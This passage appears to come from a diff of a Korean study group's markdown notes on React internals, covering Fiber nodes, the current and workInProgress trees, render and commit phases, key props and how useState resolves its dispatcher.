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) 283 | 284 | Current 트리는 DOM이 mounted된 fiber 노드들로, workInProgress 트리는 렌더단계에서 작업 중인 fiber노드들로 이루어져있다. 285 | 286 | 커밋단계를 지나게 되면 이 workInProgress 트리가 current트리로 바뀌게 된다. 287 | 288 | workInProgress 트리는 current tree에서 자기복제해서 만들어진다. 289 | alternate라는 키로 서로 참조하고 있다. 290 | 291 | 또한 모든 fiber 노드들은 연결리스트로 연결이 이루어져있다. fiber 노드는 첫번쨰 자식을 child로 참조하고, 나머지 자식들은 서로 sibiling(형제)로서 참조한다. 모든 자식은 부모를 return으로 참조한다! 292 | 293 | ![](https://chchoing88.github.io/ho_blog/static/38e8980311513636963103623b684072/cd039/fiberNode01.png) 294 | 295 | ### current 트리와 workInProgress 트리 자세히 알아보가 296 | 297 | 첫번째 렌더링 이후 React는 UI 렌더링에 필요한 애플리케이션의 state를 반영한 fiber트리를 갖게 된다. 이 트리를 current트리라고 부른다. 298 | 299 | React가 current tree에 대해 업데이트를 시작하면 그것을 workInProgress트리라고 지칭하게 된다. 300 | 301 | 모든 작업은 workInProgress 트리의 fiber 노드들에서만 수행된다. React가 처음 current 트리를 살펴보면서, 기존 각 fiber 노드들에 대해 workInProgress 트리를 구성하는 alternate노드를 만든다. 302 | 303 | 업데이트가 처리되고 모든 관련 작업이 완료되면, React 는 스크린에 뿌려질 alternate 트리를 가지고 있다. 이 workInProgress 트리가 render 되고나면 그것은 다시 current 트리가 된다. 304 | 305 | ```ts 306 | // updateHostComponent 307 | function updateHostComponent(current, workInProgress, renderExpirationTime) {...} 308 | ``` 309 | 310 | ### 가상 DOM, 어떻게 동작하는데? 311 | 312 | - 브라우저의 DOM(real DOM)으로부터 가상 DOM을 만든다.(가상 DOM은 메모리 상에 존재하는 하나의 객체이다.) 313 | - 변화가 생기면 새로운 버전의 가상 DOM을 만든다. 314 | - 최신 버전의 가상 DOM과 오래된 버전의 가상 DOM을 비교한다.(Diff 알고리즘) 315 | - 비교 과정을 통해 발견한 차이점을 브라우저 DOM(real DOM)에 반영한다. 316 | 317 | ![](https://velog.velcdn.com/images/yesbb/post/43332f9c-1630-40b7-a1f7-a0325df77f8e/image.png) 318 | 319 | 이 과정을 재조정이라고 부른다. 320 | 321 | ### 가상 DOM을 위한 방법, 파이버 알고리즘 322 | 323 | 그럼 이 새로운 객체인 가상 DOM을 만드는 것을 리액트는 어떻게 진행할까 ?? 이것을 가능하게 해주는 것이 리액트 파이버(React Fiber)이다. 324 | 325 | 리액트 파이버는 평범한 자바스크립트 객체이다. 파이버는 파이버 재조정자(fiber reconciler)가 관리하는데, 가상 DOM과 실제 DOM을 비교해 변경사항을 수집하고, 이 둘의 차이가 생기면 파이버를 기준으로 화면에 렌더링을 요청하는 역할을 한다. 326 | 327 | 328 | ```ts 329 | //파이버 객체 330 | 331 | function FiberNode(tag, pendingProps, key, mode) { 332 | this.tag = tag; 333 | this.key = key; 334 | this.elementType = null; 335 | this.type = null; 336 | this.stateNode = null; 337 | 338 | this.return = null; 339 | this.child = null; 340 | this.sibling = null; 341 | this.index = 0; 342 | 343 | ... 344 | } 345 | ``` 346 | 이처럼 파이버는 단순한 자바스크립트 객체로 구성되어 있다. 그리고 이 파이버 객체는 최초로 컴포넌트가 마운트 되는 시점에 생기며, 최대한 재사용된다. 347 | 348 | 파이버는 state가 바뀌거나 생명주기 메서드가 실행되거나 , DOM 변경이 필요한 시점에 실행된다. 파이버는 앞서 작업들 (state가 바뀌는, 생명주기 메서드가 실핼되는)을 작은 단위로 나눌수도, 우선순위를 주어서 처리할 수도 있다. 349 | 350 | 파이버는 결국 인스턴스에 대한 정보 , 다음 파이버로 향하는 포인터(alternate), 변경 사항에 대한 정보를 갖고 있다. 351 | 352 | 파이버는 크게 다음의 일을 수행할 수 있다. 353 | 354 | - 작업을 작은 단위로 쪼개고, 우선순위를 준다. 355 | - 작업을 일시 중지하고 나중에 다시 시작할 수 있다. 356 | - 이전에 했던 작업을 다시 사용하거나 폐기할 수 있다. 357 | 358 | 이 모든 과정은 비동기로 일어난다. 그럼 진짜 파이버는 어떻게 구성되어 있을까? 일단 파이버는 하나의 작업단위로 구성되어 있다. 359 | 360 | ![](https://miro.medium.com/v2/resize:fit:828/format:webp/1*aFtH62Hp2gol-AMnG_PDEg.png) 361 | 362 | 리액트는 이 하나의 작업단위를 처리하고 finishedWork()으로 마무리한다. 그리고 마지막으로 커밋을 하여 브라우저 DOM에 반영한다. 363 | 364 | - 렌더단계에서 사용자에게 최종적으로 보이지 않는 모든 비동기 작업을 수행한다. 이 과정에서 파이버는 우선순위를 지정할 수도, 이전 작업을 다시 재사용하거나 , 폐지하는 일이 발생할 수 있다. 365 | 366 | - 커밋단계에서 실제 DOM에 변경사항을 반영하는 작업 commitWork()가 실행되는데, 이 과정은 중단할 수 없다. 367 | 368 | 커밋단계까지 반영이 되면 현재의 앱 상태를 나타내는 flushed fiber와 아직 작업중인 상태, 화면까지 반영되지 않은 workInProgress fiber 2개의 fiber가 존재하게 된다. 369 | 370 | ![](https://miro.medium.com/v2/resize:fit:883/1*UQMEzFpmQKkINJh-KSux7w.png) 371 | 372 | 현재 UI 렌더링을 위해 존재하는 current(flushed fiber)을 기준으로 모든 작업이 시작된다. 만약 업데이트가 발생하면, 파이버는 리액트에서 최근의 데이터를 기준으로 workInProgress 트리를 빌드한다. 373 | 374 | 이 workInProgress 트리를 빌드하는 과정이 끝나면 다음 렌더링에 이 트리를 사용한다. 그 후 workInProgress 트리가 최종적으로 렌더링되면 current(flushed fiber)가 workInProgress Tree가 된다. 375 | 376 | ### 파이버의 작업순서 377 | 378 | - beginWork()함수를 실행하는데, 자식이 없는 파이버를 만날때까지, 트리 형식으로 시작된다. 379 | - completeWork()함수로 파이버 작업을 완료한다. 380 | - 형제가 있다면 형제로 넘어간다. 381 | - 모든 과정이 끝나면 return으로 돌아가 자신의 작업이 완료되었음을 알린다. 382 | 383 | 만약 setState 등으로 업데이트가 발생하면 어떻게 될까? 384 | 385 | 다시 setState으로 요청을 받아 workInProgress 트리를 다시 빌드하게 된다. 386 | 387 | 최초 로드 시에는 모든 파이버를 새로 만들어야 했지만, 기존 파이버를 사용해 빌드를 하게 된다. 388 | 389 | 트리를 빌드하는 과정은 중단될 수 없었다. 그러나 현재 우선순위가 높은 다른 업데이트가 오면 현재 작업을 일시 중단하거나, 폐기해버릴 수도 있다. 390 | 391 | 애니메이션이나 사용자의 입력등과 같은 작업을 우선순위가 높은 작업으로 분리하거나, 목록을 렌더링하는 작업은 우선순위가 낮게 분리해 최적으로 작업을 끝낼 수 있게 한다. 392 | 393 | ### 클래스형 컴포넌트, 함수형 컴포넌트 394 | 395 | (개인적으로 공부할 필요가 있다! 싶을 때 다시 클래스형 컴포넌트를 공부하겠지만 지금은 뭔가 공부할 필요가 있나..?라는 느낌이 든다 🤐) 396 | 397 | ```ts 398 | import React from 'react' 399 | 400 | // props 타입을 선언한다. 401 | interface SampleProps { 402 | required?: boolean; 403 | text: string; 404 | } 405 | 406 | // state 타입을 선언한다. 407 | interface SampleState { 408 | count: number; 409 | isLimited?: boolean; 410 | } 411 | 412 | // Component에 제네릭으로 props, state를 순서대로 넣어준다. 413 | class SampleComponent extends React.Component { 414 | // consturctor에서 props를 넘겨주고, state의 기본값을 설정한다. 415 | private constructor(props: SampleProps) { 416 | super(props); 417 | this.state = { 418 | count: 0, 419 | isLimited: false 420 | } 421 | }; 422 | // render 내부에서 쓰일 함수를 선언한다. 423 | private handleClick = () => { 424 | const newValue = this.state.count + 1; 425 | this.setState({count: newValue, isLimited: newValue >= 10}) 426 | } 427 | // render에서 이 컴포넌트가 렌더링할 내용을 정의한다. 428 | public render() { 429 | // props와 state 값을 this, 즉 해당 클래스에서 꺼낸다. 430 | const { 431 | props: { required, text }, 432 | state: { count, isLimited }, 433 | } = this 434 | 435 | return ( 436 |

437 | Sample Component 438 |
{required ? '필수' : '필수 아님'}
439 |
문자: {text}
440 |
count: {count}
441 | 442 |

443 | ) 444 | } 445 | } 446 | ``` 447 | 448 | 449 | ## 클래스형과 함수형 컴포넌트 450 | 451 | 초기 함수형 컴포넌트는 단순히 요소를 정적으로 렌더링 하는 것이 목표였지만, 16.8 업데이트 이후 달라졌다. 452 | 453 | #### 클래스형 컴포넌트 454 | 455 | 클래스형 컴포넌트를 사용하며 가장 많이 언급되는 것은 생명주기 이다. 456 | 457 | - Mount, 컴포넌트가 생성 되는 시점 458 | - Update, 이미 생성된 컴포넌트가 업데이트 되는 시점 459 | - Unmount, 컴포넌트가 더 이상 존재하지 않는 시점 460 | 461 | #### 클래스형 컴포넌트의 Render() 462 | 463 | 항상 순수해야하며 Side Effect가 없어야한다. render 함수 내부에서 setState를 호출해서는 안된다. 464 | 465 | #### Pure Component와 일반 Component 466 | 467 | shouldComponentUpdate 생명주기를 다룸에 있어서 차이가 있다. Pure Component는 얕은 비교만 진행하여 변경사항이 있을 경우 재 렌더링 시킨다. 468 | 469 | #### ErrorBoundary 470 | 471 | componentDidCatch는 개발모드와 프로덕션모드에서 다르게 동작한다. 개발모드에서는 에러가 발생하면 window까지 전파되고, 프로덕션모드에서는 잡히지 않는 에러만 전파된다. 472 | 473 | #### 클래스형 컴포넌트의 한계 474 | 475 | - 데이터 흐름을 추적하기 어렵다 476 | - 애플리케이션 내부 로직의 재사용이 어렵다. 477 | - 기능이 많아질수록 컴포넌트 크기가 커진다. 478 | - 클래스는 함수에 비해 상대적으로 어렵다. 479 | 480 | #### 클래스형 VS 함수형 481 | 482 | 클래스형은 항상 this를 참조하기에 중간에 값이 변경되는 경우 변경 된 값이 렌더링되고, 함수형은 렌더링이 일어난 순간의 값을 가지고 사용한다. 483 | 484 | ### 리액트에서의 렌더링 485 | 486 | 리액트의 렌더링은 엄밀히 말하면 브라우저의 렌더링과 다르다. 487 | 리액트의 렌더링은 리액트 애플리케이션의 트리들의 컴포넌트가 현재 자신이 갖고 있는 props와 state을 기반으로 어떻게 UI를 그리고 어떤 DOM결과를 브라우저에 제공할지 계산하는 과정을 의미한다. 488 | 489 | 이 렌더링은 2개로 나눌 수 있다. `최초 렌더링` 과정과 다시 렌더링이 발생하는 `리렌더링`으로 나눌 수 있다. 490 | 491 | - 최초 렌더링 : 사용자가 처음 애플리케이션에 들어가면 렌더링해야 할 결과가 필요하다. 리액트는 브라우저에 이 정보를 제공하기 위해 최초 렌더링을 진행한다. 492 | 493 | - 리렌더링 : 최초 렌더링 이후 발생하는 모든 렌더링을 의미한다. 다음과 같은 상황에서 리렌더링이 발생한다. 494 | 495 | 클래스형 컴포넌트의 경우 `setState`가 실행되는 경우와, `forceUpdate`가 실행되는 경우 2가지 경우가 있다. 496 | 497 | 함수형 컴포넌트이 경우 `useState의 두번째 인자인 dispatch`가 실행되는 경우, `useReducer의 두번째 인자인 dispatch`가 실행되는 경우 리렌더링이 발생한다. 498 | 499 | ![](https://velog.velcdn.com/images%2Fjjunyjjuny%2Fpost%2F1f049612-9cb4-40a2-bd20-c891a3f84853%2Fhooks.PNG) 500 | 501 | 컴포넌트의 key props가 변경되는 경우도 발생하게 된다. 리액트의 key는 형제 요소들 사이에서 동일한 요소를 식별하기 위한 값이다. 502 | 503 | 504 | ```tsx 505 | const arr = [1,2,3]; 506 | 507 | export default function App(){ 508 | return ( 509 |
    510 | {arr.map((index) => ( 511 |
  • {index}
  • 512 | ))} 513 |
514 | ) 515 | } 516 | ``` 517 | 518 | 위 코드에서 두 가지 트리가 존재하게 될 것이다(발그림 ㅈㅅ..) 519 | 520 | ![](https://beaded-menu-418.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2F5727ee1e-756d-40f8-8a59-9f4112793f6d%2Ffeb2f3cd-f54e-471b-a2dd-97d86654b22a%2FUntitled.png?table=block&id=fcc44653-f633-48c9-9797-7b889eb3612e&spaceId=5727ee1e-756d-40f8-8a59-9f4112793f6d&width=1440&userId=&cache=v2) 521 | 522 | key는 리렌더링이 발생하는 동안 `형제 요소 사이 동일한 요소`를 식별하기 위한 값이다. 523 | 524 | 리렌더링이 발생하면 current트리와 workInProgress트리 사이에서 `어? 아 이게 key가 같으니깐 서로 같은 컴포넌트구나`를 식별할 수 있게 하는 것이 key이다. 525 | 526 | 이 작업은 리렌더링이 필요한 작업을 최소화 하기 위해 반드시 필요하다. 527 | 528 | 예를 들어 다음의 코드가 존재한다. 529 | 530 | ```tsx 531 | const Child = memo(() => { 532 | return
  • 안녕
  • 533 | }) 534 | 535 | function List({arr} : {arr : number[]}) { 536 | const [state,setState] = useState(0); 537 | 538 | function handleButtonClick() { 539 | setState((prev) => prev + 1) 540 | } 541 | 542 | return ( 543 | <> 544 | 545 |
      546 | {arr.map((_,index) => ( 547 | 548 | ))} 549 |
    550 | 551 | ) 552 | } 553 | ``` 554 | 555 | setState의 호출로 부모인 List에서 리렌더링이 발생해도, `Child는 memo`로 선언되어있으므로 리렌더링이 발생하지 않는다. 556 | 557 | 이 경우 파이버 내부의 sibiling 인덱스를 기준으로 key가 적용된다. 결과적으로 아래와 동일하게 된다. 558 | 559 | ```tsx 560 | 561 | ``` 562 | 563 | 그럼 만약 key를 random하게 집어넣는다면 어떻게 될까? 564 | 565 | ```tsx 566 | 567 | ``` 568 | 569 | 이렇게 매 렌더링마다 변하는 값을 넣으면, 리렌더링이 일어날 때마다 컴포넌트를 명확히 구분할 수 없어서 memo로 선언되어 있어도 리렌더링이 발생하게 된다. 570 | 571 | 즉 key의 변화는 리렌더링을 야기한다! 572 | 573 | 부모로부터 전달받는 props가 바뀐다면, 이를 사용하는 자식 컴포넌트에서 렌더링이 발생하고, 부모 컴포넌트가 렌더링되면 반드시 자식 컴포넌트도 렌더링된다. 574 | 575 | ### 리액트에서의 렌더링 과정 576 | 577 | 위와 같은 렌더링 과정이 일어나면, 리액트는 먼저 컴포넌트의 루트부터 아래쪽으로 가면서 업데이트가 필요하다고 지정되어 있는 컴포넌트를 찾는다. 578 | 579 | 만약 요기서 업데이트가 필요하다고 지정되어 있는 컴포넌트를 발견하면 클래스형 컴포넌트의 경우 `render()`를, 함수형 컴포넌트의 경우 `FunctionComponent()`자체를 호출하고 결과물을 저장한다. 580 | 581 | 이 과정에서 JSX문법이 `React.createELement`을 호출하는 것으로 변환된다. 582 | 583 | ```tsx 584 | function Hello() { 585 | return ( 586 | 587 | 김효중 588 | 589 | ) 590 | } 591 | ``` 592 | 593 | 위 JSX는 아래와 같이 변환된다. 594 | 595 | ```tsx 596 | function Hello() { 597 | return React.createElement( 598 | TextComponent, 599 | { a : 35, b : '긤효중'}, 600 | 김효중 601 | ) 602 | } 603 | 604 | { 605 | type : TestComponent, 606 | props : { 607 | a : 35, 608 | b : "긤효중" 609 | }, 610 | children: 김효중 611 | } 612 | ``` 613 | 614 | #### render phase 615 | 616 | 렌더(render) 단계는 컴포넌트를 렌더링하고 변경 사항을 계산하는 모든 작업을 뜻한다. 617 | 618 | - 가상DOM을 재조정하는 단계 619 | - element의 추가, 수정 삭제가 일어나면(보통 key,props,type의 비교) WORK를 schduler(리액트의 또다른 패키지)에 등록한다. 620 | 621 | 이 WORK는 리액트의 패키지인 reconciler가 컴포넌트의 변경을 DOM에 적용하기 위해 수행하는 일이다. 622 | 623 | - 이 작업은 reconciler가 담당한다. 이 과정에서 렌더링의 우선순위를 바꿀 수 있다.(useTransation 등) 624 | 625 | 결론 : reconciler가 WORK를 schduler에 등록한다. 이 등록한 WORK를 schduler가 타이밍에 맞게 실행한다.(16버전 이후 stack -> fiber로 아키텍쳐가 바뀌게 된다.) 626 | 627 | #### commit phase 628 | 629 | - 재조정한 가상DOM을 실제 DOM에 적용하고 라이프사이클을 실행하는 단계이다. 630 | 631 | - 일관성을 위해 동기적으로 실행한다. 리액트에서 DOM의 조작이 끝나고 브라우저가 paint을 한다. 632 | 633 | 634 | #### 일반적인 렌더링 시나리오 생각하기 635 | 636 | 이 코드를 예시로 어떻게 일반적으로 렌더링이 진행되는지 생각해보자! 637 | 638 | ```tsx 639 | import {useState} from 'react'; 640 | 641 | export default function A() { 642 | return ( 643 |
    644 |

    Hello React

    645 | 646 |
    647 | ) 648 | } 649 | 650 | function B() { 651 | const [counter,setCounter] = useState(0) 652 | 653 | function handleButtonClick() { 654 | setCounter((prev) => prev + 1) 655 | } 656 | 657 | return ( 658 | <> 659 | 662 | 663 | 664 | ) 665 | } 666 | ``` 667 | 668 | 첫 렌더링이 끝나고 리액트에게 리렌더링을 위해 렌더링 큐에 등록하도록 하는 방법은 다음의 방법이 존재한다. 669 | 670 | - useState setter 671 | - useReducer dispatch 672 | - this.setState 673 | - this.forceUpdate 674 | - useSyncExternalStore 675 | 676 | 사용자가 B 컴포넌트의 번트을 눌러 counter를 업데이트 한다고 해보자. 그럼 다음의 순서를 거치게 된다. 677 | 678 | - B 컴포넌트의 setState가 호출된다. 679 | 680 | - B 컴포넌트의 리렌더링 작업이 렌더링 큐에 등록된다. 681 | 682 | - 리액트는 트리 최상단에서부터 렌더링 경로를 검사한다. 683 | 684 | - A 컴포넌트를 리렌더링이 필요한 컴포넌트가 아니므로 별다른 작업을 하지 않는다. 685 | 686 | - B 컴포넌트는 업데이트가 필요하다고 표시되어 있다. 다시 B를 리렌더링한다. 687 | 688 | - B 컴포넌트는 C를 반환했다. 689 | 690 | - C의 props인 number가 업데이트 되었다. 그리고 C는 D를 반환했다. 691 | 692 | - D는 업데이트가 필요한 컴포넌트로 체크되어있지 않지만, C가 렌더링 되었으므로, 자식인 D도 렌더링된다. 693 | 694 | 렌더링 작업은 렌더링을 피하기 위한 조치(memo)등을 걸지 않는 이상 모든 하위 컴포넌트에 영향을 미친다. 695 | 696 | 부모가 변경되면 props가 변경되었는지 상관없이 모두 자식이 렌더링된다. 697 | 698 | -------------------------------------------------------------------------------- /[03장] 리액트 훅 깊게 살펴보기/주하.md: -------------------------------------------------------------------------------- 1 | ## 👀[3.1.1 ~ 3.1.6 노션 링크](https://selective-scarer-9c2.notion.site/3-a225c13d16154d83bb3024716a5d9d07?pvs=4) 2 | 3 | ## 😜[3.1.7 ~ 3.2 노션 링크](https://selective-scarer-9c2.notion.site/3-2-27206ea727904064850712332fc5914d?pvs=4) 4 | -------------------------------------------------------------------------------- /[03장] 리액트 훅 깊게 살펴보기/효리.md: -------------------------------------------------------------------------------- 1 | 🔗 [노션 링크](https://artistic-roadrunner-94f.notion.site/3-6fb359363979412dbab74a9e46b84b38?pvs=4) 2 | 3 | (1) 3.1.1 ~ 3.1.6장 추가 4 | 5 | (2) 3.1.7 ~ 3.2장 추가 6 | -------------------------------------------------------------------------------- /[03장] 리액트 훅 깊게 살펴보기/효중.md: -------------------------------------------------------------------------------- 1 | 2 | ### 훅은 어디서 오는거지? 3 | 4 | 우리가 쓰는 react의 여러 훅들은 사실 ReactHooks.js이라는 파일에서 가져온다. 5 | 6 | [ReactHooks.js](https://github.com/facebook/react/blob/main/packages/react/src/ReactHooks.js) 7 | 8 | 9 | ```ts 10 | /src/React.js 11 | import { 12 | createElement as createElementProd, 13 | createFactory as createFactoryProd, 14 | cloneElement as cloneElementProd, 15 | isValidElement, 16 | } from './ReactElement'; 17 | import {createContext} from './ReactContext'; 18 | import {lazy} from './ReactLazy'; 19 | import {forwardRef} from './ReactForwardRef'; 20 | import {memo} from './ReactMemo'; 21 | import {cache} from './ReactCache'; 22 | import {postpone} from './ReactPostpone'; 23 | import { 24 | getCacheSignal, 25 | getCacheForType, 26 | useCallback, 27 | useContext, 28 | useEffect, 29 | useEffectEvent, 30 | useImperativeHandle, 31 | useDebugValue, 32 | useInsertionEffect, 33 | useLayoutEffect, 34 | useMemo, 35 | useSyncExternalStore, 36 | useReducer, 37 | useRef, 38 | useState, 39 | useTransition, 40 | useDeferredValue, 41 | useId, 42 | useCacheRefresh, 43 | use, 44 | useMemoCache, 45 | useOptimistic, 46 | } from './ReactHooks'; 47 | ``` 48 | 49 | 그럼 이제 ReactHook.js를 까보자. 여러 훅들이 정의되어 있지만 가장 간단한 훅인 useState의 구현체를 살펴보자. dispatcher를 선언하고 resolveDispatcher라는 함수를 할당한다. 50 | 51 | ```ts 52 | export function useState( 53 | initialState: (() => S) | S, 54 | ): [S, Dispatch>] { 55 | const dispatcher = resolveDispatcher(); 56 | return dispatcher.useState(initialState); 57 | } 58 | ``` 59 | 60 | 그럼 다시 resolveDispatcher를 까보자. 이 함수는 다음과 같이 정의되어 있다. 이 함수는 다시 ReactCurrentDispatcher를 가져온다. 61 | 62 | ```ts 63 | function resolveDispatcher() { 64 | const dispatcher = ReactCurrentDispatcher.current; 65 | if (__DEV__) { 66 | if (dispatcher === null) { 67 | console.error( 68 | 'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' + 69 | ' one of the following reasons:\n' + 70 | '1. You might have mismatching versions of React and the renderer (such as React DOM)\n' + 71 | '2. You might be breaking the Rules of Hooks\n' + 72 | '3. You might have more than one copy of React in the same app\n' + 73 | 'See https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.', 74 | ); 75 | } 76 | } 77 | // Will result in a null access error if accessed outside render phase. We 78 | // intentionally don't throw our own error because this is in a hot path. 79 | // Also helps ensure this is inlined. 80 | return ((dispatcher: any): Dispatcher); 81 | } 82 | ``` 83 | 84 | ReactCurrentDispatcher함수는 다음과 같이 정의되어 있다. 그냥 객체 하나가 있고 current라는 필드가 있다. 85 | 86 | ```ts 87 | /** 88 | * Copyright (c) Meta Platforms, Inc. and affiliates. 89 | * 90 | * This source code is licensed under the MIT license found in the 91 | * LICENSE file in the root directory of this source tree. 92 | * 93 | * @flow 94 | */ 95 | 96 | import type {Dispatcher} from 'react-reconciler/src/ReactInternalTypes'; 97 | 98 | /** 99 | * Keeps track of the current dispatcher. 100 | */ 101 | const ReactCurrentDispatcher = { 102 | current: (null: null | Dispatcher), 103 | }; 104 | 105 | export default ReactCurrentDispatcher; 106 | ``` 107 | 108 | 훅 객체는 외부 -> 내부에서 ReactCurrentDispatcher.current을 통해 주입받는다. 그리고 이 외부 -> 내부에서 의존성을 주입할 때 한단계를 더 거치게 되는데 ReactSharedInternal.jsshared패키지가 이 역할을 한다. 109 | 110 | 그리고 reconciler패키지가 훅 객체를 주입한다. 111 | 112 | ### shared패키지와 ReactSharedInternal.js 113 | 114 | 먼저 ReactSharedInternal.js를 까보자.(Internal Server와 Client로 나누어져있는데 Client를 보겠다!) 115 | 116 | 이 파일은 외부에서 주입받길 기다리는 모듈들의 대기소이다. 117 | (ReactCurrentDispatcher도 훅을 이곳에서 주입받는다.) 118 | 119 | ```ts 120 | //ReactSharedInternal.js 121 | /** 122 | * Copyright (c) Meta Platforms, Inc. and affiliates. 123 | * 124 | * This source code is licensed under the MIT license found in the 125 | * LICENSE file in the root directory of this source tree. 126 | */ 127 | 128 | import ReactCurrentDispatcher from './ReactCurrentDispatcher'; 129 | import ReactCurrentCache from './ReactCurrentCache'; 130 | import ReactCurrentBatchConfig from './ReactCurrentBatchConfig'; 131 | import ReactCurrentActQueue from './ReactCurrentActQueue'; 132 | import ReactCurrentOwner from './ReactCurrentOwner'; 133 | import ReactDebugCurrentFrame from './ReactDebugCurrentFrame'; 134 | import {enableServerContext} from 'shared/ReactFeatureFlags'; 135 | import {ContextRegistry} from './ReactServerContextRegistry'; 136 | 137 | const ReactSharedInternals = { 138 | //현재 활성화된 훅 디스패처 139 | ReactCurrentDispatcher, 140 | ReactCurrentCache, 141 | ReactCurrentBatchConfig, 142 | ReactCurrentOwner, 143 | }; 144 | 145 | if 